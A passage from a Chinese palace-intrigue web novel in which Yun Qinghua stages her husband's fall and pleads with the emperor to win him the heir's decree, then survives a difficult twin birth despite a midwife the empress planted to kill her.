皇上的眼神很复杂,但脸上的愤怒、嫌弃、厌恶显而易见。 裴墨染扯出一抹混不吝的笑,声音干涩低哑,“儿臣为何不配?儿臣若是不配,天底下还有谁配?” “……” 殿中陷入了沉默。 皇上的表情凝固,但很快他就浓眉一沉,“放肆!你怎敢有这种心思?说这么可笑的话?” 裴墨染红了眼,他从怀中掏出了被烧毁了一半的残画,举了起来,“父皇可认识这个?” 皇上的眸子猝然瞪大,眼中先是闪出了惊愕,随后是恼羞成怒,“你……你怎么敢的?你在威胁朕?你这冤孽!” “儿臣是中宫嫡出,却被置换,蹉跎了二十三年!儿臣想要一个公道!” 皇上的手缓缓捏成了拳,他手背上的青筋鼓起,眼中扬起了杀戾,可面上仍旧波澜不惊。 他是天子,天子怎能被人质疑、拆穿? 真相被拆穿,他觉得面上无光,恼羞成怒,“呵……你在威胁朕?仅凭一幅画?” “朕告诉你,你自出生到如今,从来不合朕的心意!云城就算下刀子,你也得去!若敢忤逆,提头来见!” 裴墨染的眼中扬起了红烟,他一直想要父皇的认可,想要父皇的关爱。 可原来,他的出生于父皇而言就是错误。 他苦涩地笑了,从袖中拿出一沓纸,“父皇,这些是裴云澈自导自演,炸毁堤坝的证据。明日便会满京张贴。倘若儿臣让您失望,就再让您失望一些吧。” “裴云澈的丑事,想必父皇早就知道了。父皇曾经教过儿臣,为人君者,要有仁慈之心,而裴云澈不配为人!”他的语气平淡,像在诉说别人的故事。 皇上的双臂颤抖起来,他的眼眸露出火光,他随手拿起茶盏,狠狠朝裴墨染砸了过去。 “放肆!你大胆!你竟敢威胁朕?”他猛地起身,低吼道。 茶杯从裴墨染的眼角擦过,他的眼眸却发酸。 原来父皇也会有情绪波动,不过是为了裴云澈。 “……”裴墨染向来桀骜,他是越挫越勇的性子。 皇上盛怒,他反而敢与皇上对视了。 两张相似的面孔对望,四目相对,火星子都快迸出来。 皇上捂着心口,脸涨得通红,他抚着龙案,呼吸急促地斥道:“逆子!朕是皇上,是天子!大昭是朕说了算!你是不是觉得有这些密辛就能拿捏朕?!” “你即刻去往云城迎战,肃王府举家搬去西北,肃王一脉生生世世驻守西北,永世不得回京!” 裴墨染的脸色微变,他心中的信念却好似崩塌了。 这也是意料之中的结果! 他输了…… “臣领旨。”裴墨染颤颤巍巍地从地上站起身,转身离开御书房。 皇上望着他颓丧的背影,仅有一刻扬眉吐气,可碾压打击儿子的快意褪去,他心底像是被藤蔓缠住,快要喘不过气。 他脚步虚晃,扶着龙案,才缓缓坐下。 冷清偌大的御书房中,烛火明亮,却显得莫名落寞。 “朕的话,是不是重了?”他的声音很轻。 “陛下,肃王殿下的性子跟您当年一模一样……”太监总管从侧殿走来,无奈的叹息。 “……”皇上的双臂还在颤抖,显然气得不轻。 就在这时,门外太监通传,“陛下!监察院的监察官都来了!” 皇上微愣,眼中出现了不安。 …… 裴墨染才进去不到一炷香的功夫,再出来时,整个人好似都矮了几分,向来骄矜挺直的背脊都弯了。 云清婳一看他黑沉的脸色,便知道他把事情搞砸了。 他的眼角眉梢还挂着愤怒、不甘、委屈。 “夫君。”云清婳抓住他的手。 明明是夏日,可裴墨染的双手却冰凉,宛若置身于寒冬腊月。 他的声音沙哑,“对不住,蛮蛮,我……” “不!夫君不要说对不起,夫君没有对不起任何人!是伤害您的人不对。”她张开双臂,隔着隆起的肚皮艰难的抱他。 “蛮蛮,我感觉自己一辈子都没有好运。”他顿了顿,“不对,我的好运都用来遇见你了。” 云清婳在心里翻白眼,都什么时候了,他能不能别说恶心话了? 裴墨染双眼通红,犹豫片刻,愧疚地说:“蛮蛮,对不住,皇上方才下令肃王府迁去西北,生生世世不得回京。” 她恨不得进御书房打爆老毕登的狗头! 老毕登人事不干,畜生事干绝! 狗男人也真是没用,皇上并非冷血无情之人,皇上老了,也想要父子亲情,需要儿子哄。 可裴墨染嘴巴太笨,性子又冲,想必方才进去跟老毕登干仗了! 若是这样能求得太子之位才有鬼! 云清婳没有说话。 二人一前一后走到了石阶前。 侍卫、太监对他们二人露出同情的表情。 方才皇上的怒斥声实在太大,他们想不听到都难。 “夫君,想赌一把吗?我有办法。”她突然开口。 裴墨染心中茫然,“什么办法?” 云清婳的双眸一黯,她伸出手,以其他人看不见的角度,使出力气推了裴墨染一把。 裴墨染身子前倾,竟毫无防备地滚下了百级台阶。 “啊……王爷失足跌下台阶,传太医,传太医啊!”云清婳尖叫。 裴墨染滚了一路,不知滚了多少下,最终摔到了地上。 幸好不是脸着地,可额头跟脸还是难免擦伤。 “呃……”他忍不住呻吟,双眼却紧盯着站在台阶顶端的女人,眸色愈来愈深。 云清婳目光如炬,递给裴墨染一个坚定的眼神。 剩下的戏,交给她来演吧! 无人注意的角落,是裴云澈正站在暗处。 在他的角度,正好看到云清婳将裴墨染推下了台阶。 裴云澈的眼眸发红,心中感动不已。 没想到蛮蛮这般深情。 为了帮他除掉竞争对手,她这样冰清玉洁、菩萨心肠的人,居然动了杀人的念头! “蛮蛮、蛮蛮……”裴墨染隐隐猜到云清婳想要做什么。 但这不是一个妇人能做到的! “你过来!不许去!”他双手攥着拳低吼。 云清婳转身离去。 她抱着隆起的大肚子,咬着牙,艰难忍痛跪在御书房外,“父皇,肃王知错,儿媳清婳前来认罪!” 第181章 求储君之位 任谁都能猜到,皇上正气在头上。 太监都不敢通传。 云清婳只好扯着嗓子,艰难地喊道:“父皇,肃王知错,儿媳清婳前来认罪!” 御前伺候的嬷嬷眼中都泌出了星星点点的同情,她走上前,“王妃,想必皇上是不会见您了,当心孩子,还是另谋出路吧。” “嬷嬷,我真的没办法了。”云清婳将手中的金镶玉镯子摘下来,悄无声息地塞进嬷嬷的手中。 嬷嬷只好抿唇,不再言语。 云清婳在御书房外跪在半个时辰,膝盖从起初的酸疼变得麻木,偏偏此时,肚中的孩子还在动得厉害。 她抱着肚皮,整个人摇摇欲坠。 …… 御书房内。 监察御史带领监察官跪了一地。 “陛下,微臣查出炸毁西宁渠的元凶了,西宁渠是开国所见,百年基业,还请陛下严惩幕后主使,还百姓一个公道!”监察御史双手呈上一本奏折。 其他的监察官跟着呈上奏折。 皇上的眼眸紧缩,他的双臂再次颤抖起来。 裴墨染逼他,监察院居然也来逼他! “你们大胆!”皇上低吼。 “臣一心为国,九死无悔!”监察御史一字一顿。 皇上的眼底布满了红血丝,他面上威严,气场恢弘,凌驾于众生之上,可压在绣龙纹下的心脏却加速跳动。 难道他真的做错了吗? 他是皇上,他想让最喜爱的儿子登上皇位有错吗? “国难当头,此事日后再议。”他摆摆手,示意众人退下。 “陛下……”监察御史一脸急色。 皇上剑眉一横,“退下!” 监察官面面相觑,脸上露出难言的急迫跟无奈。 皇上的前半生称得上治国有方、英明神武,可最近愈发随性了。 “陛下!肃王方才失足从台阶上跌下去了,恐怕难当大任,出兵云城得另选将领了。”监察御史说完这句话,转身离开。 皇上的眼皮的阖住,冗长的叹了一口气。 朝中除了裴墨染,委派谁,他都不放心。 西和王是军师奇才,先帝赞不绝口,当年在他这位八弟面前,他自卑到了尘埃里。 嬷嬷端着茶水,走进了殿里,“陛下,肃王妃恐怕真的挺不过去了,腹中的双胎活泼得紧。” 皇上的脸色风云变幻,幽深得让人看不懂。 他叹了口气。 太监总管也开口:“陛下,王妃说您曾承诺过给她一个赏赐,王妃想要求见。” “让她进来吧。”皇上使劲捏了捏鼻梁,一脸疲惫。 云清婳颤颤巍巍地被扶进了御书房,她满脸都是汗,额前的碎发被汗打湿,紧紧贴在毫无血色的脸蛋上。 “参见皇上。”她抱着肚子,艰难地跪下,湿漉漉的眼中噙着泪。 皇上眼底却一片凉薄,不见半分怜惜,他眼皮都没抬,高高在上地问:“你想说什么?” “皇上,肃王方才从台阶上跌下,恐怕去不了云城了,还请皇上收回成命!”云清婳面色凝重,她拿出烈士断腕的决心,就好像准备好赴死。 “你想死吗?”皇上的脸阴恻恻的,他沉闷的声音像是从地狱中伸出一只手,把人往下拽。 “你怎敢谈论政务?” 云清婳露出慌乱的表情,她探着身子,想要磕头,可肚子贴到了地面,把她疼得坠了一滴泪出来。 这幅画面,让人看了揪心。 太监总管、嬷嬷不约而同地侧过头去。 “臣妾不敢妄议国事,臣妾是在说家事,臣妾心疼夫君,不想让夫君跟自己敬爱的父皇生嫌隙!”她言真意切。 “皇上,臣妾在云城也有商队,商队早在一个月前就撤回了,他们说西和王早就开始屠城了……西和王究竟占领了多少疆土,尚未可知,肃王摔坏了腿,恐怕去了也是送死。” 云清婳抽抽噎噎地说着。 当然,这些全是她瞎编的。 她是不会让云城出事的,因为姐姐的爹娘还在云城。 皇上的脸色发绿,他的眼中射出凶光狠狠刺向云清婳,“退下!” 云清婳哭道:“皇上,臣妾人微言轻,什么都改变不了!只求您能给肃王留一个恩典,让他心甘情愿地去吧!” “此去九死一生,求皇上赐肃王东宫之位,就当望梅止渴了!” 此话一出,太监总管、嬷嬷吓得膝盖一软,扑通跪下。 “你知道自己在说什么吗?”皇上的眼中射出寒光。 眼神如有实质的落在云清婳的身上。 “求陛下恩典,臣妾会劝肃王即日前往云城!倘若战败,臣妾愿殉城!”她艰难地叩首,肚子太疼,眼泪滑出眼眶。 “将肃王妃拖下去!”皇上甩袖。 几个侍卫抓住的云清婳的肩膀,将她往外拖。 她从未这般狼狈过。 但这就是她要的效果! 云清婳哭道:“陛下,肃王想要您的关爱,此去云城,怕是有去无回!您有许多皇子,可肃王只有您一个父皇!求您给他一次恩典,疼爱他一次,哪怕只是虚妄的安慰!” “疯妇!你是不是觉得朕非肃王不可?”皇上斥道。 就在这时,门外传来急促的脚步声。 一个侍卫拿着急信小跑着进来,“陛下,不好了,不好了……云城被围,粮仓被烧,已经断粮了!” 皇上的瞳孔一震。 若说,之前他还有把握让裴墨染守住云城。 现在,他的心慌了。 因为云城可能真的已经沦陷。 云清婳哽咽道:“陛下,此去云城凶多吉少,求您给肃王一个恩典!” “……”皇上抿着唇,眼神复杂地看着云清婳。 云清婳大概明白皇上的心思。 他心中的储君人选是裴云澈,自然不愿把储君之位给裴墨染。 但同时,他的年纪大了,身子也不好,他也向往父子亲情。 他对裴墨染也是有父爱的,但并不多。 “虎为百兽尊,罔敢触其怒,唯有亲子情,一步一回顾。”云清婳一字一顿。 皇上的手抖了抖,似是下定了决心,“等等……” …… 天幕黑沉时,云清婳才一身狼狈,发髻散乱地回到了肃王府。 外面早就传开了,肃王被皇上训斥,肃王妃为夫求情,受尽折辱。 有不少贵女趁机笑话云清婳,可更多人却觉得云清婳可敬。 一阵夏风吹过,云清婳却感到周身寒冷,仿佛血液都是凉的。 跟皇上叫板,她心里也是没底的,她也怕人头落地。 但她必须要这么做! 第182章 我才不陪你过苦日子 她径自去了长信殿。 万嬷嬷贴在她耳边,神秘道:“王妃放心,王爷只是受了些皮外伤,未曾伤到骨头。” “嗯。”干涩的声音从她的喉咙里溢出来。 她推门进了寝殿,裴墨染正出神地平躺在榻上,看到她,他眼瞳一震。 她身上宝蓝色的王妃服制散乱,一身都是灰尘,发髻上的点翠花冠歪斜,额前的碎发被浸湿,狼狈地贴在脸上,她的额头正中央晕开一片红晕。 明显是磕头磕出来的。 他一阵心酸,一种莫大的屈辱感压下,让他鼻酸。 为了他,蛮蛮恐怕也被父皇羞辱了一通。 “毒妇!居然推我下台阶,你想谋杀亲夫?”他故作轻松,笑着插科打诨。 云清婳的眼皮肿得像一对桃子,走到床榻前,“夫君,皇上令你即刻前往云城。” “我知道。”裴墨染早就知道是这个下场。 苦肉计对皇上而言没用! 裴墨染拉着她坐下。 他起身,为她轻揉着额上的红肿,他的心仿佛被放在炙炉上烤,可语气轻松:“傻瓜,疼不疼啊?” “我想好了,等平定云城战事,我就去西北找你。日后我们好好过日子,你若想见爹娘跟哥哥……你放心,给我几年时间,我们一定会再回京城的。” 他决定造反了! “我才不要陪你过苦日子,我才不要去西北。我爹娘生我,是为了让我享福的。”云清婳冷簌簌地开口。 裴墨染的手一僵,他用看小孩子的眼光看着她,强行挤出笑,“蛮蛮,西北虽苦,但那里的风景别有一番风味,说不定你会喜欢呢?” “你喜欢,你为何不一辈子待在那里?”她打开他的手。 裴墨染一噎,他捏着她的袖子,好脾气地揶揄:“你这个小毒妇!你真想跟我和离不成?你推我摔下百级台阶,我都没跟你计较。” 怎么不摔死你? “夫君,倘若我成功了呢?”她扑哧一声笑了。 裴墨染不太明白她的话。 云清婳从袖中拿出圣旨,她递给裴墨染。 裴墨染打开圣旨,他难以置信地看着上面的文字,脑袋一片空白。 他抬眼望着云清婳,目露迷茫。 “只要你平定战乱,平安归来,皇上便封你为太子!”云清婳冲他挑眉。 “这是做梦吗?”裴墨染的眼尾泛着红晕,眸色潋滟。 原来方才蛮蛮在故意逗弄他。 他是想笑的,但是笑不出来,只感到心酸。 他扣着她的后脑勺,跟她额抵着额,他们甚至能听到对方的心跳,感受到对方的眼泪。 “蛮蛮,我定不会负你。”他的声线颤抖。 “夫君一定要大获全胜,我答应了皇上,倘若战败,我会以身殉城。”她轻抚他的背。 这一刻,裴墨染似乎才感受到手中圣旨的重量。 上面担负了蛮蛮的性命。 他郑重地承诺道:“我不会让你输。” 云清婳翻了个白眼。 她的输赢从来掌握在自己的手中。 今日监察院之所以会来,是因为她向监察院匿名举报了裴云澈。 至于云城的急报,也是她在云城的人脉放出的假消息。 她步步紧逼,让皇上惊慌失措,连哄带骗,才换来了这道圣旨。 当晚,裴墨染便带领军队出征。 而肃王府一片死寂,众人都听说了要去西北的消息,都心如死灰。 许多妾室泣不成声,甚至晕了过去。 早知道嫁给劳什子肃王,要被发配去西北,还不如不嫁人,去自家庵堂里当尼姑呢。 这么一来,好歹留在了京城。 关于圣旨,裴墨染、云清婳并没有向外透露。 “蛮蛮,我对不住你跟孩子,我不能看着你生产了。”他垂眸看着她隆起的肚子,眼中一片愧疚。 “夫君在云城奋勇杀敌,蛮蛮也会争气的。”她道。 裴墨染蹙着眉,他看向万嬷嬷,不放心地交代:“嬷嬷,蛮蛮生产劳你照料了。” “是。”万嬷嬷福身。 “到时候若有意外,保大保小,必是保大。男孩、女孩,本王都喜欢,若是生了两个女儿也无妨。”他絮絮地交代。 “……”云清婳的白眼快翻上天了。 狗男人,诅咒我难产是吧? 万嬷嬷跟贴身太监的脸都绿了。 王爷啊,您不会说话可以不说啊。 净说丧气话。 云清婳转身就走。 裴墨染觉得莫名其妙,他疑惑地问:“谁又惹她了?” “……”贴身太监、万嬷嬷都不想回答。 …… 另一边,清心阁。 苏灵音虽然被关了起来,可却掌握了外面的一切消息。 巧慧抽抽噎噎地哭着,“主子,听说王爷惹怒了皇上,皇上责令肃王府迁去西北,怎么办啊?奴婢不想去西北。” “哭什么哭?”苏灵音讥讽地笑了,“裴墨染被赶去西北,不就没人跟表哥争皇位了?” “当下咱们该着急的是两个孽种!”苏灵音的手缓缓攥了起来。 既然已经筹谋完了表哥的事,她该着急自己的事了。 她可是苏家人,怎能为侧妃? 她要当就当正妃! 虽然西北苦寒,贫穷偏远,可她好歹是侧王妃,她的日子再差能差到哪里? 而且,她有点喜欢裴墨染了,她现在只想赶走云清婳,成为裴墨染心中唯一的人! “对了,咱们的人可查出来了?”苏灵音挑眉。 巧慧一脸迷茫,“听说云清婳很爱吃甜食,平日吃得也清淡,酸儿辣女倒是看不出来。” “爱吃甜食?呵……多半怀了两个赔钱货!”苏灵音嘴角的笑纹不断加深,心情舒畅愉悦。 巧慧鄙夷的神情都快抑制不住的流露出来。 居然说女孩子是赔钱货,你自己不是女子吗? 真是令人作呕,自己都瞧不起自己! 你拿什么赢王妃? “主子,咱们应该怎么做?”巧慧操着好奇的语气。 苏灵音的眼睛咕噜噜地转,“姑母安插在云家的人,可以派上用场了。” “是。” 裴墨染的第一个孩子,只能由她来生! …… 为了让肃王府上下安心,云清婳跟众人说了在她生产前,暂时不用迁出京城。 玄音阁。 云清婳的身子还有几日就要发作,她整日精神恍惚,又怕又急,恨不得早早生下孩子。 魏娴轻抚她的肚皮,“蛮蛮,稳婆可都信得过?如今肃王府腹背受敌,此事千万不能疏忽。” “稳婆是我娘家请来的,都是亲信,应当没事。”她道。 第183章 蛮蛮发作了,难产? “这便好!还有挑选太医也要当心啊。”魏娴不放心地交代,嘴巴絮絮不止。 云清婳嗤嗤的笑了,“阿娴,怎么我怀孕,你比我还着急?” 这把魏娴说得面皮都红了,她讪讪道:“我担心你,蛮蛮,你一定要平平安安生下孩子,这是我们日后的仰仗。” 飞霜咯咯笑个不停,“魏夫人这话说的,好像孩子是您跟主子的。” 魏娴的面皮如火烧,可她为人端庄,拿飞霜的嘴没辙。 “别笑了!阿娴可受不住你打趣。”云清婳抚摸着肚皮,“孩子当然会平安出生,但我不能让裴墨染觉得顺遂,毕竟他没在身边,他不会知道我有多痛苦。” 旁人生孩子,丈夫都在产房外,虽然不能感同身受,但好歹也会觉得妻子辛苦了。 可裴墨染却省略了这个步骤,直接得到两个娃。 这怎么能行? 没有看到她的痛苦、她流的血,裴墨染说不定会觉得他在战场上受伤,比她生孩子容易呢。 “那你准备制造点困难?”魏娴问。 云清婳但笑不语。 困难她何须制造? 有的是人盼望她生不出来! …… 翊坤宫。 皇后捏着裴云澈的脉案,潸然泪下,“呜呜呜云澈怎么会跟葡萄相克呢?怎么会呢?本宫跟皇上都对葡萄没有反应,云澈身上却长了红疹……” “为什么?为什么皇上要如此戏耍本宫!枉本宫战战兢兢,几十年来努力地讨他的欢心!” 白嬷嬷轻拍着皇后的背脊,给皇后顺气,“娘娘,莫哭了,当心伤了眼睛。您养了贤王这么多年,您就是他的亲生母亲,没关系的。” “可是,可是墨染怎么办?他跌下台阶,还被派去云城,可本宫一句慰问都没有,甚至还没去给他送行!”皇后的心慌乱地跳动,“怎么办?上次不会是本宫跟墨染最后一次见面吧?” “不会的!肃王吉人自有天相!待肃王凯旋,娘娘跟肃王相认,您们一定会重归于好的。”白嬷嬷安慰道。 皇后的眼泪不停地流,“对!我们一定会重归于好,墨染那么渴望母爱,只要本宫日后好好待他,他一定会原谅本宫!” 皇后哭了一会儿,内心逐渐安定下来,她的眼风一厉,“但是墨染的媳妇儿,本宫不喜欢!” 白嬷嬷一怔,“王妃肚子里还怀着肃王的孩子呢,就算不喜欢又能如何?” “孩子当然要留下,这是本宫儿子的血脉,去母留子还用本宫交代吗?”皇后勾出一笑,露出森白的牙齿。 她要掌控自己的儿子! 墨染身边可以有女人,但他必须最听她的话。 云清婳这个狐狸精,实在不安分,屡次顶撞她,害得墨染跟她离心,早该去死了! …… 很快,裴云澈炸毁西宁渠之事不胫而走,京城之中人尽皆知。 他废了好大一番功夫,才勉强平息了舆论。 但他明白,他只能堵住百姓的嘴,却堵不住百姓的心。 他一气之下,呕出了一滩血,“裴墨染,你给本王等着!” …… 一眨眼,生产期就来了。 云清婳腹中的孩子分外安生。 飞霜拿着一张纸条,匆匆赶来,“主子,珈蓝寺的方丈测算出来了,明晚会有七星连珠的异象!” “七星连珠可是圣人降世的吉兆!我的孩子,就该此时出生。”云清婳抚着肚子,一切宛若尽在股掌之中。 她早就说了,孩子是她向上爬的工具。 双胎加上异象,还有人比她的孩子更适合登上皇位的吗? 飞霜心疼地看着云清婳。 为了复仇,主子吃了好多苦。 可她不能劝主子放下仇恨,因为她也受过表小姐的恩惠。 …… 翌日晌午,云清婳就服下催产药,不到一个时辰就发作了。 云家接来的产婆王婆子早早就侯在门外。 “啊……”云清婳躺在床榻上,痛苦地呻吟。 她的肚子里传来阵痛,把她搅得浑身汗涔涔的,仿佛受着凌迟。 “好疼,好疼……” 王婆子掀开被褥,眼底藏着锋芒,“王妃,使劲啊!” “啊……”云清婳的小脸没有血色,整个人都快虚脱。 “诶呀呀,王妃好像有点胎位不正,老奴帮王妃正一正胎位吧。”王婆子用手按压着云清婳的肚皮。 皇后娘娘交代了,两个孩子一定要顺利出生,至于产妇必须死! 万嬷嬷似乎看出了不对,“怎会?太医一直说王妃的胎位是正的!” “老奴接生三十年了,正不正一眼便知,太医毕竟是男人,哪有老奴懂女人家的事?”王婆子面不改色地说。 万嬷嬷欲言又止,最终只道:“好吧。” “您放心吧!老奴是云家的人,还能害王妃不成?”王婆子拍着胸脯保证。 “啊……好疼……”云清婳的意识渐渐模糊,双瞳涣散。 她一直觉得自己清醒克制,野心勃勃,可痛苦却让她来不及做出理性思考,她好困好累,好想闭上眼睛,沉沉地睡一觉。 只要睡醒,什么痛苦就结束了。 “主子,不能睡!您快喝点参汤,补充力气。”飞霜扶起云清婳的脖子,给她灌了口参汤。 云清婳喝了吐,吐了喝,恍恍惚惚间,她好像看见了一个熟悉的身影。 纤细娉婷的女子,穿着粉蓝色的襦裙正含笑看着她。 “蛮蛮,不能睡……” “姐姐,我好想你。”云清婳气若游丝地吐出这句话。 “蛮蛮,蛮蛮,你清醒一点……”魏娴含泪,揉了揉她的脸蛋。 云清婳的眼皮子无比沉重,“姐姐……” “蛮蛮,别忘了你的目的。”魏娴在她耳边低语。 这话犹如一桶冰水,瞬间浇醒了云清婳。 云清婳混沌的思绪猛然被抽离出来,她的双瞳渐渐聚焦。 痛感钻入了她的每一个毛孔,她像是被裹进了潮湿的棉被褥里,被人丢进了冰湖中,身子不断下沉。 “好疼,好疼……” 清心阁。 巧慧匆匆跑来,“主子,听说云清婳那边不顺利,一个时辰了都生不下来。” “呵呵……最好一尸三命!让她跟她的贱种一起死。”苏灵音阴狠地咒骂。 巧慧膈应极了。 王妃菩萨心肠,王妃跟孩子定会长命百岁! 这个毒妇才会死,才会下地狱! “王婆子最擅长改变胎位,倘若孩子出来的时候能把云清婳的心肝儿跟肠子扯出来就好了。”想到这里,苏灵音肩膀抖动,笑得花枝乱颤。 巧慧的手攥成了拳。 人怎能坏到这个地步? 第184章 两个孩子,是男是女? 云清婳实在生产不来,万嬷嬷急着出去找太医。 王婆子的手仍旧在云清婳的肚皮上按弄,云清婳眯着眼,怒火中烧地瞪着她。 皇后的人居然安插进了云家! 真是妙啊! 魏娴拿起一个花瓶,狠狠砸向王婆子的脑袋。 “啊……” 王婆子晕了过去。 “蛮蛮,现在该怎么办?这王婆子果然有问题!可是我发现得太晚了……”就算是向来稳重的魏娴,此时也忍不住抽泣。 云清婳浑身乏力,她回给魏娴一个安心的眼神,“没事的。” 飞霜走上前,镇定地说:“奴婢给主子接生,劳烦魏夫人帮忙。” “好。”魏娴震惊地看着飞霜。 她没想到云清婳身边卧虎藏龙,飞霜这个小丫头居然还有这般手艺。 云清婳咬着牙,保存着体力,不敢乱叫。 这是一个引皇后、苏灵音上钩的局。 她从一开始就不相信任何人,也从不寄希望于外人,包括太后、江太医。 她只相信飞霜! “把我难产的消息放出去,还有我的札记送去给裴墨染……”云清婳痛苦地说。 “好,好……”魏娴连忙点头。 …… 黄昏已过,天幕黑沉。 宫中都在等待肃王府的好消息。 太后跪在佛前,不安地念经,“江太医可去了肃王府?哀家总感觉心慌气短。” 一个宫女匆匆跑出去后,又匆匆赶了回来,“太后娘娘,江太医被人灌醉了……” 啪—— 太后手中的蜜蜡佛珠毫无征兆地被扯断,珠子噼里啪啦洒落一地。 “快派人去看看!快!”她瘫坐在蒲团上。 桂嬷嬷立即带人离开。 翊坤宫。 皇后看着暗叹传来的纸条,露出阴森的笑,“三个时辰了,还未生出来,多半是难产了。若是保大保小,务必要保住皇子。” 白嬷嬷的脸色有些难看,她叹息道:“恐怕是行不通了,王爷离京前交代了,务必要保住王妃。” 皇后的脸上露出妒忌,她恨铁不成钢道:“看看!他被贱人迷惑成什么样了!居然连子嗣都不要了!” “皇后娘娘,咱们不能忤逆肃王的意思,您跟肃王的关系正紧张呢。若是云清婳死了,恐怕肃王会怨您。”白嬷嬷劝道。 皇后攥紧了手,指甲抠进肉里,指尖泛着乳白色。 “本宫自然知道!反正有王婆子在,云清婳必然挺不过今晚!呵呵……”皇后舒心地笑了。 …… 天幕渐黑,天上陡然出现了七星连珠的异象。 皇上立即登上摘星楼观看。 “恭喜陛下,七星连珠,这是风调雨顺的兆头啊!”太监总管谄媚道。 皇上的嘴角扬起一抹很淡的笑,“墨染必会擒住叛党。” 正说着,御前嬷嬷笑着赶来,“陛下,陛下!肃王妃生了,生了!” 皇上的眉梢舒展,脸上的线条渐渐放松,他的语气愉悦,“是男是女?” “生了一对龙凤胎!” “哈哈哈……”皇上发出爽朗的笑,“天佑大昭啊,这是吉兆,天大的吉兆!” …… 产房中,云清婳脱力地倒在榻上,她像是被泡进了水里,浑身湿漉漉的。 婢女为她换了床单被褥。 飞霜给她擦了身子,“主子,今晚不能睡,您的身子伤得太狠了。” “嗯。”她吐出微不可闻的声音。 万嬷嬷欢喜地抱着两个孩子,“王妃,您看看,两个孩子都长得像您呢,都是大大的双眼皮。” 云清婳有气无力地瞥了一眼。 咦惹。 好丑! 两个皱皱巴巴的小老头。 “……”她一副一言难尽的表情。 万嬷嬷看出她的心思,不由得笑了:“王妃,孩子还小,长开了就漂亮了。” “那王婆子怎么处置?”魏娴沉着脸问。 “万不能让她死了,把她关进地牢,消息别泄露出去。”云清婳道。 万嬷嬷颔首,“是!究竟是谁想害王妃?其心可诛!等王爷回来,定饶不了她!” 云清婳在心中默道:可惜啊,狗男人就算知道是皇后做的又怎么样? 他还能杀死皇后不成? “孩子叫什么名字啊?王爷临走前,交代了这么多,就是没给孩子取名字。”飞霜撇嘴。 云清婳想想就来气。 狗男人临走前,还咒她难产呢。 除了人事,什么都干了。 万嬷嬷无奈的叹气,她安慰道:“王妃不必忧心,若是能得皇上赐名,那是极好的。” 桂嬷嬷来时,奶娘正在喂奶,她慈爱地看了孩子许久,确定了云清婳没有生命危险就离开了。 直到两个孩子睡着,才被万嬷嬷带去偏房亲自照顾。 晚上,夜深人静时,飞霜拿来了一枚止血丹。 “主子,这是贤王派人送来的秘药。此药是极好的,能止血崩。看来他对您是真心的。”飞霜看着这枚丹药,眼中熠熠生辉。 云清婳瘪嘴,她的声音沙哑:“别恶心我了,我本来就吃不下东西。” 飞霜吐吐舌头,“今晚有人要彻夜难眠咯,奴婢想想就高兴。” “呵……皇后跟苏灵音恐怕要气死了。”云清婳只是轻轻一笑,腹下就牵着疼,她小脸紧皱。 飞霜心疼不已。 …… 苏灵音气得砸了一地的瓷器。 “云清婳这个贱婢!她居然在七星连珠时生产,她怎么配呢?她一定吃了催产药,她欺君罔上,该死!” “王婆子真是废物!居然没弄死他们。莫非云清婳发现了端倪?”她的心惴惴不安,眼眸充血。 巧慧连忙劝道:“主子莫气,云清婳身子弱,就算现在没事,也说不准今晚会不会血崩。而且听说女人生产后,下身都会有病,她争不过您的。更何况王婆子是皇后的人,您何必担心呢?” 苏灵音狰狞的面孔稍稍缓和,“可是一想到两个贱种,我的心里就像被扎进了两根刺。” 扎死你! 巧慧思忖。 “主子,等孩子满月宴,说不定皇上会来,要是孩子身上出现什么纰漏,惹恼了皇上呢?”巧慧引导着。 苏灵音的眼中闪过狡黠,心中已经有了盘算,“不错!下去领赏吧。” “多谢主子。”巧慧谄媚道。 第185章 皇后跟苏灵音一个都不放过 翌日,云夫人带着大嫂前来肃王府看望云清婳。 云清婳正喝着参汤。 云夫人看她的小脸憔悴惨白,心疼地直掉眼泪,“蛮蛮,你受苦了。” “那王婆子真是该死,枉我们这么信任她!她不仅忘恩背主还谋害皇嗣,不如把她拖进皇宫,让皇上为你做主?”大嫂姜柔说道。 “此事是皇后所为,就算进宫,也会不了了之,何必打草惊蛇?”云清婳的有气无力,眼神却很是精明。 她按兵不动,就是要让皇后、苏灵音惶惶不安,草木皆兵。 云夫人用帕子揩去眼泪,神情一狠,“她怎敢动你的?苏家早已是强弩之末,她敢动你,你爹定不会放过他们。” “娘亲慎言,我已经想好了,皇后跟苏灵音我一个都不会放过。”云清婳含着凉薄的笑。 “既然你有自己的主意,我们也不好插手,但遇事千万要跟爹娘说,不要自己抗。”云夫人抱着云清婳,悄悄抹眼泪。 姜柔也心疼不已,自己看着长大的小妹,嫁进肃王府受了好些委屈,“嫂嫂给你做了糕点,你多吃些,多补补身子。” “谢谢嫂嫂。”云清婳的心中一片熨贴。 …… 翊坤宫。 皇后气闷得恨不得呕出二两血。 她急火攻心,眼前一片黑影,走路时,她脚下一滑,尾椎骨狠狠摔在地上,“啊……” “娘娘!”白嬷嬷赶忙扶她。 皇后疼得眼角沁出了泪,她像是魔怔了,嘴里喃喃不停地念着:“云清婳居然没死,还顺利生下龙凤胎,呵,这下好了,她成福星了!” 白嬷嬷强行将她扶起来,语重心长地劝道:“皇后娘娘,或许这就是天意!事已至此,还是算了吧。” “不行!她抢了灵音的位置,本宫断不能容她。”皇后的眼神一厉,眸色深邃起来。 以前也就罢了,她可以等着云清婳失宠,等着墨染爱上灵音。 可现在,云清婳生了双胎,成了福星,灵音上位愈发遥遥无期。 她绝不能容忍! “王婆子究竟是怎么回事?也没个音信!”皇后有些不安。 白嬷嬷福至心灵,“莫不是王妃发现了端倪?” 皇后的面色一沉,“她莫不是在找时机,准备陷害本宫?” “王妃生了七窍玲珑心,不好说啊。”白嬷嬷长叹一声。 本来可以相安无事的,可皇后娘娘偏生想不通,非要跟王妃为敌。 “快快派人去找王婆子!活要见人,死要见尸!”皇后的脸清瘦得过分,面不挂肉,双颧凸出。 她的面相已经看不出曾经的温柔、仁善,只剩刻薄。 “是。”白嬷嬷无奈地摇摇头。 …… 裴墨染收到肃王府送来的书信时已经是半个月后,他心急如焚,急红了眼,他险些折返回京城。 幸亏诸葛贤拦住了他,告诉他最新消息是肃王妃诞下龙凤胎,母子平安。 经过重重确认,裴墨染的心瞬间从低谷飞至云端。 “诸葛先生!本王有儿女了!呵……”他笑得憨傻。 “恭喜王爷。”诸葛贤拱手。 他毫不遮掩地大笑:“哈哈……等凯旋回京,本王定请诸葛先生吃酒。” 裴墨染的心情甚好,赶路时脸上都带着笑。 几个副将觉得无比诡异。 